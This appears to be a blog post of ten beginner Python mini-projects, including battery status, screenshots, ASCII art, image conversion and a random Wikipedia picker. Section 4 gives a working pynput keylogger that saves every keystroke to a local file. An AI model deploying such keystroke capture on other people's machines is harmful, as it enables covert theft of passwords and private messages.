The ultimate python codes / mini-projects
Tags: python
Published: 2022-05-20 12:49:48

## 1. Get Laptop Battery Percentage using Python
``` python
# python script showing battery details
import psutil
  
# function returning time in hh:mm:ss
def convertTime(seconds):
    minutes, seconds = divmod(seconds, 60)
    hours, minutes = divmod(minutes, 60)
    return "%d:%02d:%02d" % (hours, minutes, seconds)
  
# returns a tuple
battery = psutil.sensors_battery()
  
print("Battery percentage : ", battery.percent)
print("Power plugged in : ", battery.power_plugged)
  
# converting seconds to hh:mm:ss
print("Battery left : ", convertTime(battery.secsleft))
```

Requirements
```
pip install psutil
```
Install psutil in Linux

```
sudo apt-get install gcc python3-dev

sudo pip3 install psutil
```

## 2. Get the system info with Python
```python
import platform
print(f"Node: {platform.node()}")
print(f"Plateform: {platform.platform()}")
print(f"System: {platform.system()}")
print(f"Processor: {platform.processor()}")
print(f"Architecture: {platform.architecture()}")
print(f"Version: {platform.version()}")
print(f"Release: {platform.release()}")
```

## 3. Take a Screenshot using Python
```python
import pyscreenshot as ImageGrab
import datetime
import time
time.sleep(3)  # tell me why I used delay here...
im = ImageGrab.grab()
im.save("screenshot-" + str(datetime.datetime.now()) + ".png")
im.show()
```
Requirement
```
pip install pyscreenshot
```

## 4. Keylogger using Python
```python
from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()
keys=[]
def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    
    with open('keys.txt', 'a') as f:
        f.write(main_string)   
        keys= []     
        
def on_release(key):
    if key == Key.esc:
        return False
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()
```
Requirement
```
pip install pynput
```

## 5. Text to ASCII art
```python
# import pyfiglet module
import pyfiglet
  
result = pyfiglet.figlet_format("Arpit is sexy")
print(result)
```
Requirement
```
pip install pyfiglet
```

## 6. Convert any image to ASCII art
```python
import pywhatkit as kit
kit.image_to_ascii_art("heart.png")
```
Requirement
```
pip install pywhatkit
```

## 7. Convert Color Photo to Black
```python
from PIL import Image
img = Image.open("color-to-bw/rdj.jpg")
contobw = img.convert("L")
contobw.save("color-to-bw/rdj-bw.jpg")
contobw.show()
```
Requirement
```
pip install Pillow
```

## 8. Get Phone Number Information
```python
import phonenumbers
from phonenumbers import carrier, geocoder, timezone
mobileNo = input("Enter Mobile Number with Country code: ")
mobileNo = phonenumbers.parse(mobileNo)
# get timezone a phone number
print(timezone.time_zones_for_number(mobileNo))
# Getting carrier of a phone number
print(carrier.name_for_number(mobileNo, "en"))
# Getting region information
print(geocoder.description_for_number(mobileNo, "en"))
# Validating a phone number
print(phonenumbers.is_valid_number(mobileNo))
# Checking possibility of a number
print(phonenumbers.is_possible_number(mobileNo))
```
Requirement
```
pip install phonenumbers
```

## 9. Random Wikipedia Article Generator
```python
import requests
from bs4 import BeautifulSoup
import webbrowser

while True:
    url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
    soup = BeautifulSoup(url.content, "html.parser")
    title = soup.find(class_="firstHeading").text

    print(f"{title} \nDo you want to view it? (Y/N)")
    ans = input("").lower()

    if ans == "y":
        url = "https://en.wikipedia.org/wiki/%s" % title
        webbrowser.open(url)
        break
    elif ans == "n":
        print("Try again!")
        continue
    else:
        print("Wrong choice!")
        break
```
Requirements
```
pip install beautifulsoup4
pip install requests
```

## 10. Spelling Checker
```python
from textblob import TextBlob 
  
a = "comuter progrming is gret"
print("original text: "+str(a)) 
  
b = TextBlob(a) 
print("corrected text: "+str(b.correct()))  
```
Requirement
```
pip install textblob
```

Happy Coding :)

Follow me on Twitter [@awwarpit](https://twitter.com/awwarpit)